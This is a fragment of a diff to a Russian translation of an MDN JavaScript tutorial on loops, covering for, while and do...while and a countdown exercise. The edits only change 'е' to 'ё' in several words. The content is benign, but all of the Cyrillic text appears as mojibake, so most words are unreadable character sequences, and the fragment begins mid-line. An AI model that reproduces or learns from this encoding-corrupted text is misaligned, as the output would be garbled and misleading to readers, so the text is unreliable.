Π½Π°ΠΉΠ΄Π΅Π½.Β», ΠΈ Ρ†ΠΈΠΊΠ» ΠΏΡ€ΠΎΠ΄ΠΎΠ»ΠΆΠ°Π΅Ρ‚ ΠΏΠΎΠ²Ρ‚ΠΎΡ€ΡΡ‚ΡŒΡΡ.</p>
+ <p>ПослС <a href="https://ru.wikipedia.org/wiki/%D0%98%D1%82%D0%B5%D1%80%D0%B0%D1%86%D0%B8%D1%8F_(%D0%B7%D0%BD%D0%B0%D1%87%D0%B5%D0%BD%D0%B8%D1%8F)">ΠΈΡ‚Π΅Ρ€Π°Ρ†ΠΈΠΈ</a> <code>(contacts.length-1)</code>, Ссли имя ΠΊΠΎΠ½Ρ‚Π°ΠΊΡ‚Π° Π½Π΅ совпадаСт с Π²Π²Π΅Π΄Ρ‘Π½Π½Ρ‹ΠΌ ΠΈΠΌΠ΅Π½Π΅ΠΌ Π² поисковом запросС, для тСкста Π°Π±Π·Π°Ρ†Π° устанавливаСтся: Β«ΠšΠΎΠ½Ρ‚Π°ΠΊΡ‚ Π½Π΅ Π½Π°ΠΉΠ΄Π΅Π½.Β», ΠΈ Ρ†ΠΈΠΊΠ» ΠΏΡ€ΠΎΠ΄ΠΎΠ»ΠΆΠ°Π΅Ρ‚ ΠΏΠΎΠ²Ρ‚ΠΎΡ€ΡΡ‚ΡŒΡΡ.</p>
</li>
</ol>
@@ -457,9 +457,9 @@ for (var i = 1; i &lt;= num; i++) {
<p>{{ EmbedLiveSample('Hidden_code_4', '100%', 100) }}</p>
<ol>
- <li>Π’ этом случаС Π½Π° Π²Ρ…ΠΎΠ΄Π΅ Π΄ΠΎΠ»ΠΆΠ½ΠΎ Π±Ρ‹Ρ‚ΡŒ число (<code>num</code>). Π¦ΠΈΠΊΠ»Ρƒ <code>for</code> присваиваСтся счСтчик, Π½Π°Ρ‡ΠΈΠ½Π°ΡŽΡ‰ΠΈΠΉΡΡ с 1 (ΠΏΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ Π² Π΄Π°Π½Π½ΠΎΠΌ случаС нас Π½Π΅ интСрСсуСт 0), условиС Π²Ρ‹Ρ…ΠΎΠ΄Π°, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ Π³ΠΎΠ²ΠΎΡ€ΠΈΡ‚, Ρ‡Ρ‚ΠΎ Ρ†ΠΈΠΊΠ» остановится, ΠΊΠΎΠ³Π΄Π° счСтчик станСт большС Π²Ρ…ΠΎΠ΄Π½ΠΎΠ³ΠΎ <code>num</code>, Π°Β ΠΈΡ‚Π΅Ρ€Π°Ρ‚ΠΎΡ€ добавляСт 1 ΠΊ счСтчику ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ Ρ€Π°Π·.</li>
- <li>Π’Π½ΡƒΡ‚Ρ€ΠΈ Ρ†ΠΈΠΊΠ»Π° ΠΌΡ‹ Π½Π°Ρ…ΠΎΠ΄ΠΈΠΌ ΠΊΠ²Π°Π΄Ρ€Π°Ρ‚Π½Ρ‹ΠΉ ΠΊΠΎΡ€Π΅Π½ΡŒ ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ числа с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ <a href="/ru/docs/Web/JavaScript/Reference/Global_Objects/Math/sqrt">Math.sqrt(i)</a>, Π° Π·Π°Ρ‚Π΅ΠΌ провСряСм, являСтся Π»ΠΈ ΠΊΠ²Π°Π΄Ρ€Π°Ρ‚Π½Ρ‹ΠΉ ΠΊΠΎΡ€Π΅Π½ΡŒ Ρ†Π΅Π»Ρ‹ΠΌ числом, провСряя, совпадаСт Π»ΠΈ ΠΎΠ½ с самим собой, ΠΊΠΎΠ³Π΄Π° ΠΎΠ½ Π±Ρ‹Π» ΠΎΠΊΡ€ΡƒΠ³Π»Π΅Π½ Π΄ΠΎ блиТайшСго Ρ†Π΅Π»ΠΎΠ³ΠΎ числа (это Ρ‚ΠΎ, Ρ‡Ρ‚ΠΎ <code>Math.floor ()</code> Π΄Π΅Π»Π°Π΅Ρ‚ с числом, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ ΠΏΠ΅Ρ€Π΅Π΄Π°Π΅Ρ‚).</li>
- <li>Если ΠΊΠ²Π°Π΄Ρ€Π°Ρ‚Π½Ρ‹ΠΉ ΠΊΠΎΡ€Π΅Π½ΡŒ ΠΈ ΠΎΠΊΡ€ΡƒΠ³Π»Π΅Π½Π½Ρ‹ΠΉ Π²Π½ΠΈΠ· ΠΊΠ²Π°Π΄Ρ€Π°Ρ‚Π½Ρ‹ΠΉ ΠΊΠΎΡ€Π΅Π½ΡŒ Π½Π΅ Ρ€Π°Π²Π½Ρ‹ Π΄Ρ€ΡƒΠ³ Π΄Ρ€ΡƒΠ³Ρƒ <code>(! ==)</code>, Π·Π½Π°Ρ‡ΠΈΡ‚ ΠΊΠ²Π°Π΄Ρ€Π°Ρ‚Π½Ρ‹ΠΉ ΠΊΠΎΡ€Π΅Π½ΡŒ Π½Π΅ являСтся Ρ†Π΅Π»Ρ‹ΠΌ числом, поэтому нас ΠΎΠ½ Π½Π΅ интСрСсуСт.Β  Π’ Ρ‚Π°ΠΊΠΎΠΌ случаС ΠΌΡ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌ ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€ <code>continue</code>, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠ΅Ρ€Π΅ΠΉΡ‚ΠΈ ΠΊ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅ΠΉ ΠΈΡ‚Π΅Ρ€Π°Ρ†ΠΈΠΈ Ρ†ΠΈΠΊΠ»Π° Π±Π΅Π· записи этого числа.</li>
+ <li>Π’ этом случаС Π½Π° Π²Ρ…ΠΎΠ΄Π΅ Π΄ΠΎΠ»ΠΆΠ½ΠΎ Π±Ρ‹Ρ‚ΡŒ число (<code>num</code>). Π¦ΠΈΠΊΠ»Ρƒ <code>for</code> присваиваСтся счётчик, Π½Π°Ρ‡ΠΈΠ½Π°ΡŽΡ‰ΠΈΠΉΡΡ с 1 (ΠΏΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ Π² Π΄Π°Π½Π½ΠΎΠΌ случаС нас Π½Π΅ интСрСсуСт 0), условиС Π²Ρ‹Ρ…ΠΎΠ΄Π°, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ Π³ΠΎΠ²ΠΎΡ€ΠΈΡ‚, Ρ‡Ρ‚ΠΎ Ρ†ΠΈΠΊΠ» остановится, ΠΊΠΎΠ³Π΄Π° счётчик станСт большС Π²Ρ…ΠΎΠ΄Π½ΠΎΠ³ΠΎ <code>num</code>, Π°Β ΠΈΡ‚Π΅Ρ€Π°Ρ‚ΠΎΡ€ добавляСт 1 ΠΊ счётчику ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ Ρ€Π°Π·.</li>
+ <li>Π’Π½ΡƒΡ‚Ρ€ΠΈ Ρ†ΠΈΠΊΠ»Π° ΠΌΡ‹ Π½Π°Ρ…ΠΎΠ΄ΠΈΠΌ ΠΊΠ²Π°Π΄Ρ€Π°Ρ‚Π½Ρ‹ΠΉ ΠΊΠΎΡ€Π΅Π½ΡŒ ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ числа с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ <a href="/ru/docs/Web/JavaScript/Reference/Global_Objects/Math/sqrt">Math.sqrt(i)</a>, Π° Π·Π°Ρ‚Π΅ΠΌ провСряСм, являСтся Π»ΠΈ ΠΊΠ²Π°Π΄Ρ€Π°Ρ‚Π½Ρ‹ΠΉ ΠΊΠΎΡ€Π΅Π½ΡŒ Ρ†Π΅Π»Ρ‹ΠΌ числом, провСряя, совпадаСт Π»ΠΈ ΠΎΠ½ с самим собой, ΠΊΠΎΠ³Π΄Π° ΠΎΠ½ Π±Ρ‹Π» ΠΎΠΊΡ€ΡƒΠ³Π»Ρ‘Π½ Π΄ΠΎ блиТайшСго Ρ†Π΅Π»ΠΎΠ³ΠΎ числа (это Ρ‚ΠΎ, Ρ‡Ρ‚ΠΎ <code>Math.floor ()</code> Π΄Π΅Π»Π°Π΅Ρ‚ с числом, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‘Ρ‚).</li>
+ <li>Если ΠΊΠ²Π°Π΄Ρ€Π°Ρ‚Π½Ρ‹ΠΉ ΠΊΠΎΡ€Π΅Π½ΡŒ ΠΈ ΠΎΠΊΡ€ΡƒΠ³Π»Ρ‘Π½Π½Ρ‹ΠΉ Π²Π½ΠΈΠ· ΠΊΠ²Π°Π΄Ρ€Π°Ρ‚Π½Ρ‹ΠΉ ΠΊΠΎΡ€Π΅Π½ΡŒ Π½Π΅ Ρ€Π°Π²Π½Ρ‹ Π΄Ρ€ΡƒΠ³ Π΄Ρ€ΡƒΠ³Ρƒ <code>(! ==)</code>, Π·Π½Π°Ρ‡ΠΈΡ‚ ΠΊΠ²Π°Π΄Ρ€Π°Ρ‚Π½Ρ‹ΠΉ ΠΊΠΎΡ€Π΅Π½ΡŒ Π½Π΅ являСтся Ρ†Π΅Π»Ρ‹ΠΌ числом, поэтому нас ΠΎΠ½ Π½Π΅ интСрСсуСт.Β  Π’ Ρ‚Π°ΠΊΠΎΠΌ случаС ΠΌΡ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌ ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€ <code>continue</code>, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠ΅Ρ€Π΅ΠΉΡ‚ΠΈ ΠΊ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅ΠΉ ΠΈΡ‚Π΅Ρ€Π°Ρ†ΠΈΠΈ Ρ†ΠΈΠΊΠ»Π° Π±Π΅Π· записи этого числа.</li>
<li>Если ΠΊΠ²Π°Π΄Ρ€Π°Ρ‚Π½Ρ‹ΠΉ ΠΊΠΎΡ€Π΅Π½ΡŒ <em>являСтся Ρ†Π΅Π»Ρ‹ΠΌ числом</em>, ΠΌΡ‹ пропускаСм Π±Π»ΠΎΠΊ <code>if</code> ΠΏΠΎΠ»Π½ΠΎΡΡ‚ΡŒΡŽ, поэтому ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€ <code>continue</code> Π½Π΅ выполняСтся; вмСсто этого ΠΎΠ±ΡŠΠ΅Π΄ΠΈΠ½ΡΠ΅Ρ‚ΡΡ Ρ‚Π΅ΠΊΡƒΡ‰Π΅Π΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ <code>i</code> с ΠΏΡ€ΠΎΠ±Π΅Π»ΠΎΠΌ Π² ΠΊΠΎΠ½Ρ†Π΅ содСрТимого Π°Π±Π·Π°Ρ†Π°.</li>
</ol>
@@ -484,9 +484,9 @@ while (exit-condition) {
<p>Π—Π΄Π΅ΡΡŒ ΠΏΡ€ΠΈΡΡƒΡ‚ΡΡ‚Π²ΡƒΡŽΡ‚ Ρ‚Π΅ ΠΆΠ΅ Ρ‚Ρ€ΠΈ элСмСнта ΠΈ Π² Ρ‚ΠΎΠΌ ΠΆΠ΅ порядкС, Ρ‡Ρ‚ΠΎ ΠΈ Π² Ρ†ΠΈΠΊΠ»Π΅ <code>for</code>. Π­Ρ‚ΠΎ Π²Π°ΠΆΠ½ΠΎ,Β Ρ‚Π°ΠΊ ΠΊΠ°ΠΊ Π²Π°ΠΌΒ Π½ΡƒΠΆΠ½ΠΎ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΡ‚ΡŒ ΠΈΠ½ΠΈΡ†ΠΈΠ°Π»ΠΈΠ·Π°Ρ‚ΠΎΡ€, ΠΏΡ€Π΅ΠΆΠ΄Π΅ Ρ‡Π΅ΠΌ получится ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΈΡ‚ΡŒ, достиг Π»ΠΈ Ρ†ΠΈΠΊΠ» условия Π²Ρ‹Ρ…ΠΎΠ΄Π°.</p>
-<p>ΠžΠΊΠΎΠ½Ρ‡Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎΠ΅ условиС выполняСтся послС выполнСния ΠΊΠΎΠ΄Π° Π²Π½ΡƒΡ‚Ρ€ΠΈ Ρ†ΠΈΠΊΠ»Π° (итСрация Π·Π°Π²Π΅Ρ€ΡˆΠ΅Π½Π°), ΠΈ ΠΎΠ½ΠΎ выполняСтся Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π² Ρ‚ΠΎΠΌ случаС, Ссли условиС Π²Ρ‹Ρ…ΠΎΠ΄Π° Π΅Ρ‰Π΅ Π½Π΅ достигнуто.</p>
+<p>ΠžΠΊΠΎΠ½Ρ‡Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎΠ΅ условиС выполняСтся послС выполнСния ΠΊΠΎΠ΄Π° Π²Π½ΡƒΡ‚Ρ€ΠΈ Ρ†ΠΈΠΊΠ»Π° (итСрация Π·Π°Π²Π΅Ρ€ΡˆΠ΅Π½Π°), ΠΈ ΠΎΠ½ΠΎ выполняСтся Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π² Ρ‚ΠΎΠΌ случаС, Ссли условиС Π²Ρ‹Ρ…ΠΎΠ΄Π° Π΅Ρ‰Ρ‘ Π½Π΅ достигнуто.</p>
-<p>ΠŸΠΎΡΠΌΠΎΡ‚Ρ€ΠΈΠΌ Π΅Ρ‰Π΅ Ρ€Π°Π· ΠΏΡ€ΠΈΠΌΠ΅Ρ€ со списком кошСк с ΠΊΠΎΠ΄ΠΎΠΌ пСрСписанным ΠΏΠΎΠ΄ использованиС Ρ†ΠΈΠΊΠ»Π°Β <code>while:</code></p>
+<p>ΠŸΠΎΡΠΌΠΎΡ‚Ρ€ΠΈΠΌ Π΅Ρ‰Ρ‘ Ρ€Π°Π· ΠΏΡ€ΠΈΠΌΠ΅Ρ€ со списком кошСк с ΠΊΠΎΠ΄ΠΎΠΌ пСрСписанным ΠΏΠΎΠ΄ использованиС Ρ†ΠΈΠΊΠ»Π°Β <code>while:</code></p>
<pre class="brush: js notranslate">var i = 0;
@@ -501,7 +501,7 @@ while (i &lt; cats.length) {
}</pre>
<div class="note">
-<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅: </strong>Ρ†ΠΈΠΊΠ» всС Π΅Ρ‰Π΅ Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ Ρ‚Π°ΠΊ ΠΆΠ΅, ΠΊΠ°ΠΊ ΠΈ оТидалось - посмотритС, <a href="http://mdn.github.io/learning-area/javascript/building-blocks/loops/while.html">ΠΊΠ°ΠΊ ΠΎΠ½ Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ Π½Π° GitHub</a> (Ρ‚Π°ΠΊΠΆΠ΅ посмотритС <a href="https://github.com/ConstantineZz/javaScript/blob/master/while.html">ΠΏΠΎΠ»Π½Ρ‹ΠΉ исходный ΠΊΠΎΠ΄</a>).</p>
+<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅: </strong>Ρ†ΠΈΠΊΠ» всС Π΅Ρ‰Ρ‘ Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ Ρ‚Π°ΠΊ ΠΆΠ΅, ΠΊΠ°ΠΊ ΠΈ оТидалось - посмотритС, <a href="http://mdn.github.io/learning-area/javascript/building-blocks/loops/while.html">ΠΊΠ°ΠΊ ΠΎΠ½ Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ Π½Π° GitHub</a> (Ρ‚Π°ΠΊΠΆΠ΅ посмотритС <a href="https://github.com/ConstantineZz/javaScript/blob/master/while.html">ΠΏΠΎΠ»Π½Ρ‹ΠΉ исходный ΠΊΠΎΠ΄</a>).</p>
</div>
<p>Π¦ΠΈΠΊΠ»<strong>Β <a href="/ru/docs/Web/JavaScript/Reference/Statements/do...while">do...while</a></strong> прСдставляСт собой Π²Π°Ρ€ΠΈΠ°Ρ†ΠΈΡŽ структуры Ρ†ΠΈΠΊΠ»Π°Β <code>while</code>:</p>
@@ -515,7 +515,7 @@ do {
<p>Π’ этом случаС ΠΈΠ½ΠΈΡ†ΠΈΠ°Π»ΠΈΠ·Π°Ρ‚ΠΎΡ€ снова указываСтся ΠΏΡ€Π΅ΠΆΠ΄Π΅, Ρ‡Π΅ΠΌ Ρ†ΠΈΠΊΠ» запускаСтся. ΠšΠ»ΡŽΡ‡Π΅Π²ΠΎΠ΅ слово <code>do</code> нСпосрСдствСнно ΠΏΡ€Π΅Π΄ΡˆΠ΅ΡΡ‚Π²ΡƒΠ΅Ρ‚ Ρ„ΠΈΠ³ΡƒΡ€Π½Ρ‹ΠΌ скобкам, содСрТащим ΠΊΠΎΠ΄ для запуска ΠΈ ΠΊΠΎΠ½Π΅Ρ‡Π½ΠΎΠ΅ Π²Ρ‹Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅.</p>
-<p>Π Π°Π·Π»ΠΈΡ‡ΠΈΠ΅ состоит Π² Ρ‚ΠΎΠΌ, Ρ‡Ρ‚ΠΎ условиС Π²Ρ‹Ρ…ΠΎΠ΄Π° ΠΈΠ΄Π΅Ρ‚ послС всСго ΠΎΡΡ‚Π°Π»ΡŒΠ½ΠΎΠ³ΠΎ, Π·Π°ΠΊΠ»ΡŽΡ‡Π΅Π½Π½ΠΎΠ΅ Π² скобки послС ΠΊΠ»ΡŽΡ‡Π΅Π²ΠΎΠ³ΠΎ слова <code>while</code>. Π’ Ρ†ΠΈΠΊΠ»Π΅ <code>do...while</code> ΠΊΠΎΠ΄ Π²Π½ΡƒΡ‚Ρ€ΠΈ Ρ„ΠΈΠ³ΡƒΡ€Π½Ρ‹Ρ… скобок всСгда запускаСтся ΠΎΠ΄ΠΈΠ½ Ρ€Π°Π·, ΠΏΡ€Π΅ΠΆΠ΄Π΅ Ρ‡Π΅ΠΌ выполняСтся ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΠ°, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡƒΠ²ΠΈΠ΄Π΅Ρ‚ΡŒ, Π΄ΠΎΠ»ΠΆΠ½Π° Π»ΠΈ ΠΎΠ½Π° Π±Ρ‹Ρ‚ΡŒ Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½Π° снова (Π² <code>while</code> ΠΈ <code>for</code> ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΠ° ΠΈΠ΄Π΅Ρ‚ ΠΏΠ΅Ρ€Π²ΠΎΠΉ, поэтому ΠΊΠΎΠ΄ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ Π½Π΅ Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½).</p>
+<p>Π Π°Π·Π»ΠΈΡ‡ΠΈΠ΅ состоит Π² Ρ‚ΠΎΠΌ, Ρ‡Ρ‚ΠΎ условиС Π²Ρ‹Ρ…ΠΎΠ΄Π° ΠΈΠ΄Ρ‘Ρ‚ послС всСго ΠΎΡΡ‚Π°Π»ΡŒΠ½ΠΎΠ³ΠΎ, Π·Π°ΠΊΠ»ΡŽΡ‡Ρ‘Π½Π½ΠΎΠ΅ Π² скобки послС ΠΊΠ»ΡŽΡ‡Π΅Π²ΠΎΠ³ΠΎ слова <code>while</code>. Π’ Ρ†ΠΈΠΊΠ»Π΅ <code>do...while</code> ΠΊΠΎΠ΄ Π²Π½ΡƒΡ‚Ρ€ΠΈ Ρ„ΠΈΠ³ΡƒΡ€Π½Ρ‹Ρ… скобок всСгда запускаСтся ΠΎΠ΄ΠΈΠ½ Ρ€Π°Π·, ΠΏΡ€Π΅ΠΆΠ΄Π΅ Ρ‡Π΅ΠΌ выполняСтся ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΠ°, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡƒΠ²ΠΈΠ΄Π΅Ρ‚ΡŒ, Π΄ΠΎΠ»ΠΆΠ½Π° Π»ΠΈ ΠΎΠ½Π° Π±Ρ‹Ρ‚ΡŒ Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½Π° снова (Π² <code>while</code> ΠΈ <code>for</code> ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΠ° ΠΈΠ΄Ρ‘Ρ‚ ΠΏΠ΅Ρ€Π²ΠΎΠΉ, поэтому ΠΊΠΎΠ΄ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ Π½Π΅ Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½).</p>
<p>ΠŸΠ΅Ρ€Π΅ΠΏΠΈΡˆΠ΅ΠΌ наш ΠΏΡ€ΠΈΠΌΠ΅Ρ€ с кошками, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Ρ†ΠΈΠΊΠ» <code>do...while</code>:</p>
@@ -536,12 +536,12 @@ do {
</div>
<div class="warning">
-<p><strong>Π—Π°ΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅</strong>: ΠŸΡ€ΠΈΠΌΠ΅Π½ΡΡ Ρ†ΠΈΠΊΠ»Ρ‹Β <code>while</code> and <code>do...while</code> , ΠΊΠ°ΠΊ ΠΈ всС циклы, ΡƒΠ±Π΅Π΄ΠΈΡ‚Π΅ΡΡŒ,Β Ρ‡Ρ‚ΠΎ ΠΈΠ½ΠΈΡ†ΠΈΠ°Π»ΠΈΠ·Π°Ρ‚ΠΎΡ€ повторяСтся Ρ‚Π°ΠΊ,Β Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΠ½ Π² ΠΊΠΎΠ½Ρ†Π΅ ΠΊΠΎΠ½Ρ†ΠΎΠ² достиг условия Π²Ρ‹Ρ…ΠΎΠ΄Π°. Если это Π½Π΅ Ρ‚Π°ΠΊ,Β Ρ†ΠΈΠΊΠ» Π±ΡƒΠ΄Π΅Ρ‚ ΠΏΡ€ΠΎΠ΄ΠΎΠ»ΠΆΠ°Ρ‚ΡŒΡΡ Π²Π΅Ρ‡Π½ΠΎ, ΠΈ Π»ΠΈΠ±ΠΎ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ заставит Π΅Π³ΠΎ ΠΎΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒΡΡ, Π»ΠΈΠ±ΠΎ ΠΏΡ€ΠΎΠΈΠ·ΠΎΠΉΠ΄Π΅Ρ‚ сбой. Π­Ρ‚ΠΎ называСтся <em><s>Π΄ΠΎΠΊΡ‚ΠΎΡ€ БтрэндТ ΠΈ Π”ΠΎΡ€ΠΌΠ°ΠΌΠΌΡƒ</s></em>Β <strong>бСсконСчным Ρ†ΠΈΠΊΠ»ΠΎΠΌ</strong>.Β </p>
+<p><strong>Π—Π°ΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅</strong>: ΠŸΡ€ΠΈΠΌΠ΅Π½ΡΡ Ρ†ΠΈΠΊΠ»Ρ‹Β <code>while</code> and <code>do...while</code> , ΠΊΠ°ΠΊ ΠΈ всС циклы, ΡƒΠ±Π΅Π΄ΠΈΡ‚Π΅ΡΡŒ,Β Ρ‡Ρ‚ΠΎ ΠΈΠ½ΠΈΡ†ΠΈΠ°Π»ΠΈΠ·Π°Ρ‚ΠΎΡ€ повторяСтся Ρ‚Π°ΠΊ,Β Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΠ½ Π² ΠΊΠΎΠ½Ρ†Π΅ ΠΊΠΎΠ½Ρ†ΠΎΠ² достиг условия Π²Ρ‹Ρ…ΠΎΠ΄Π°. Если это Π½Π΅ Ρ‚Π°ΠΊ,Β Ρ†ΠΈΠΊΠ» Π±ΡƒΠ΄Π΅Ρ‚ ΠΏΡ€ΠΎΠ΄ΠΎΠ»ΠΆΠ°Ρ‚ΡŒΡΡ Π²Π΅Ρ‡Π½ΠΎ, ΠΈ Π»ΠΈΠ±ΠΎ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ заставит Π΅Π³ΠΎ ΠΎΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒΡΡ, Π»ΠΈΠ±ΠΎ ΠΏΡ€ΠΎΠΈΠ·ΠΎΠΉΠ΄Ρ‘Ρ‚ сбой. Π­Ρ‚ΠΎ называСтся <em><s>Π΄ΠΎΠΊΡ‚ΠΎΡ€ БтрэндТ ΠΈ Π”ΠΎΡ€ΠΌΠ°ΠΌΠΌΡƒ</s></em>Β <strong>бСсконСчным Ρ†ΠΈΠΊΠ»ΠΎΠΌ</strong>.Β </p>
</div>
-<h2 id="ΠŸΡ€Π°ΠΊΡ‚ΠΈΡ‡Π΅ΡΠΊΠΎΠ΅_ΡƒΠΏΡ€Π°ΠΆΠ½Π΅Π½ΠΈΠ΅_запускаСм_ΠΎΠ±Ρ€Π°Ρ‚Π½Ρ‹ΠΉ_отсчСт!">ΠŸΡ€Π°ΠΊΡ‚ΠΈΡ‡Π΅ΡΠΊΠΎΠ΅ ΡƒΠΏΡ€Π°ΠΆΠ½Π΅Π½ΠΈΠ΅:Β  запускаСм ΠΎΠ±Ρ€Π°Ρ‚Π½Ρ‹ΠΉ отсчСт!</h2>
+<h2 id="ΠŸΡ€Π°ΠΊΡ‚ΠΈΡ‡Π΅ΡΠΊΠΎΠ΅_ΡƒΠΏΡ€Π°ΠΆΠ½Π΅Π½ΠΈΠ΅_запускаСм_ΠΎΠ±Ρ€Π°Ρ‚Π½Ρ‹ΠΉ_отсчёт!">ΠŸΡ€Π°ΠΊΡ‚ΠΈΡ‡Π΅ΡΠΊΠΎΠ΅ ΡƒΠΏΡ€Π°ΠΆΠ½Π΅Π½ΠΈΠ΅:Β  запускаСм ΠΎΠ±Ρ€Π°Ρ‚Π½Ρ‹ΠΉ отсчёт!</h2>
-<p>Π’ этом ΡƒΠΏΡ€Π°ΠΆΠ½Π΅Π½ΠΈΠΈ ΠΌΡ‹ Ρ…ΠΎΡ‚ΠΈΠΌ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π²Ρ‹ написали простой отсчСт Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ запуска Π΄ΠΎ поля Π²Ρ‹Π²ΠΎΠ΄Π°, ΠΎΡ‚ 10 Π΄ΠΎ "ΠŸΡƒΡΠΊ!"Β  Π’ частности, ΠΌΡ‹ Ρ…ΠΎΡ‚ΠΈΠΌ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π²Ρ‹:</p>
+<p>Π’ этом ΡƒΠΏΡ€Π°ΠΆΠ½Π΅Π½ΠΈΠΈ ΠΌΡ‹ Ρ…ΠΎΡ‚ΠΈΠΌ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π²Ρ‹ написали простой отсчёт Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ запуска Π΄ΠΎ поля Π²Ρ‹Π²ΠΎΠ΄Π°, ΠΎΡ‚ 10 Π΄ΠΎ "ΠŸΡƒΡΠΊ!"Β  Π’ частности, ΠΌΡ‹ Ρ…ΠΎΡ‚ΠΈΠΌ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π²Ρ‹:</p>
<ul>
<li>Π¦ΠΈΠΊΠ» ΠΎΡ‚ 10 Π΄ΠΎ 0. ΠœΡ‹ прСдоставляСм Π²Π°ΠΌ ΠΈΠ½ΠΈΡ†ΠΈΠ°Π»ΠΈΠ·Π°Ρ‚ΠΎΡ€:Β <code>var i = 10;</code>.</li>
@@ -555,12 +555,12 @@ do {
<li>Π Π°Π·Π½Ρ‹Π΅ Π½ΠΎΠΌΠ΅Ρ€Π° ΠΈΡ‚Π΅Ρ€Π°Ρ†ΠΈΠΉ Ρ‚Ρ€Π΅Π±ΡƒΡŽΡ‚, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π² Π°Π±Π·Π°Ρ†Π΅ для ΠΊΠ°ΠΆΠ΄ΠΎΠΉ ΠΈΡ‚Π΅Ρ€Π°Ρ†ΠΈΠΈ помСщался свой тСкст (Π²Π°ΠΌ понадобится условный ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€ ΠΈ нСсколько<code> para.textContent = lines</code><br>
):
<ul>
- <li>Если число Ρ€Π°Π²Π½ΠΎ 10, Π²Ρ‹Π²Π΅Π΄ΠΈΡ‚Π΅ Π² Π°Π±Π·Π°Ρ†Π΅ Β«ΠžΠ±Ρ€Π°Ρ‚Π½Ρ‹ΠΉ отсчСт 10Β».</li>
+ <li>Если число Ρ€Π°Π²Π½ΠΎ 10, Π²Ρ‹Π²Π΅Π΄ΠΈΡ‚Π΅ Π² Π°Π±Π·Π°Ρ†Π΅ Β«ΠžΠ±Ρ€Π°Ρ‚Π½Ρ‹ΠΉ отсчёт 10Β».</li>
<li>Если число Ρ€Π°Π²Π½ΠΎ 0, Π²Ρ‹Π²Π΅Π΄ΠΈΡ‚Π΅ Π² Π°Π±Π·Π°Ρ†Π΅ Β«ΠŸΡƒΡΠΊ!Β»</li>
<li>Для любого Π΄Ρ€ΡƒΠ³ΠΎΠ³ΠΎ числа Π²Ρ‹Π²Π΅Π΄ΠΈΡ‚Π΅ Π² Π°Π±Π·Π°Ρ†Π΅ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ число.</li>
</ul>
</li>
